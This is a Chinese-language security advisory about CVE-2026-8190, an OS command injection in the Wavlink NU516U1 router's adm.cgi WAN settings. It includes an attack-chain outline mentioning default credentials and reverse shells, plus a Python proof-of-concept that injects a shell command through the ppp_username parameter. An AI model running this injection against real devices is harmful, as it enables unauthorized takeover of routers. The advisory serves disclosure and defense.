IPBUF安全漏洞报告
English
CVE-2026-8190 CVSS 6.3 中危

CVE-2026-8190 Wavlink路由器OS命令注入漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-8190
漏洞类型
操作系统命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wavlink NU516U1

相关标签

OS Command InjectionRCEWavlinkRouterIoT

漏洞概述

CVE-2026-8190 是 Wavlink NU516U1 路由器(固件版本 M16U1_V240425)中发现的一个安全漏洞。该漏洞位于 /cgi-bin/adm.cgi 文件的 wan 功能模块中。由于系统未对用户输入的关键参数进行严格的过滤和验证,攻击者可以通过操纵 ppp_username、ppp_passwd、rwan_ip 等参数注入恶意操作系统命令。该漏洞可被远程利用,且攻击难度较低(低权限、无需交互),成功利用可能导致系统信息泄露、数据篡改或服务中断。目前相关利用代码已公开披露,风险较高。

技术细节

该漏洞的根本原因是 Wavlink NU516U1 设备在处理 WAN 设置配置请求时,存在输入验证缺失。具体来说,/cgi-bin/adm.cgi 脚本的 wan 函数直接接收 HTTP POST 请求中的参数(包括 ppp_username、ppp_passwd、rwan_ip、rwan_mask、rwan_gateway),并将这些参数拼接到系统命令中执行,而未对特殊字符(如分号、管道符、反引号等)进行转义。攻击者可以通过构造包含恶意命令的载荷,欺骗后端执行任意操作系统指令。根据 CVSS 向量分析,攻击需具备低权限(PR:L),这意味着攻击者可能需要先获取普通用户权限或设备未设置强密码保护。一旦利用成功,攻击者即可在设备上下文中执行代码,完全控制受影响的路由器。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出 Wavlink NU516U1 设备及其管理接口。
STEP 2
2. 获取访问权限
由于 CVSS 评级为 PR:L,攻击者可能需要通过弱口令猜测或默认凭证获取低权限用户访问 Web 管理界面的权限。
STEP 3
3. 构造恶意载荷
攻击者构造包含 Shell 元字符(如 ; 或 &&)的 HTTP POST 请求,针对 /cgi-bin/adm.cgi 的 wan 函数参数(如 ppp_username)进行注入。
STEP 4
4. 执行命令注入
服务器端接收请求,将恶意参数拼接到系统命令中执行,从而触发操作系统命令注入。
STEP 5
5. 建立控制
根据注入的命令,攻击者可能反弹 Shell、下载恶意软件或窃取配置文件,完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://<TARGET_IP>/cgi-bin/adm.cgi" # Exploit payload: Injecting a simple command to echo a string # The payload targets the 'ppp_username' parameter injection_payload = "admin; echo 'CVE-2026-8190_VULNERABLE'; #" # Prepare data payload data = { "action": "wan", "ppp_username": injection_payload, "ppp_passwd": "password", "rwan_ip": "192.168.1.100", "rwan_mask": "255.255.255.0", "rwan_gateway": "192.168.1.1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-Scanner/1.0)" } try: print(f"[+] Sending exploit request to {target_url}...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command execution output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

Wavlink NU516U1 M16U1_V240425

防御指南

临时缓解措施
若暂时无法升级固件,建议通过网络访问控制列表(ACL)限制管理后台的访问来源 IP,仅允许受信任的内网设备进行管理配置,并密切监控设备的异常出站流量。

参考链接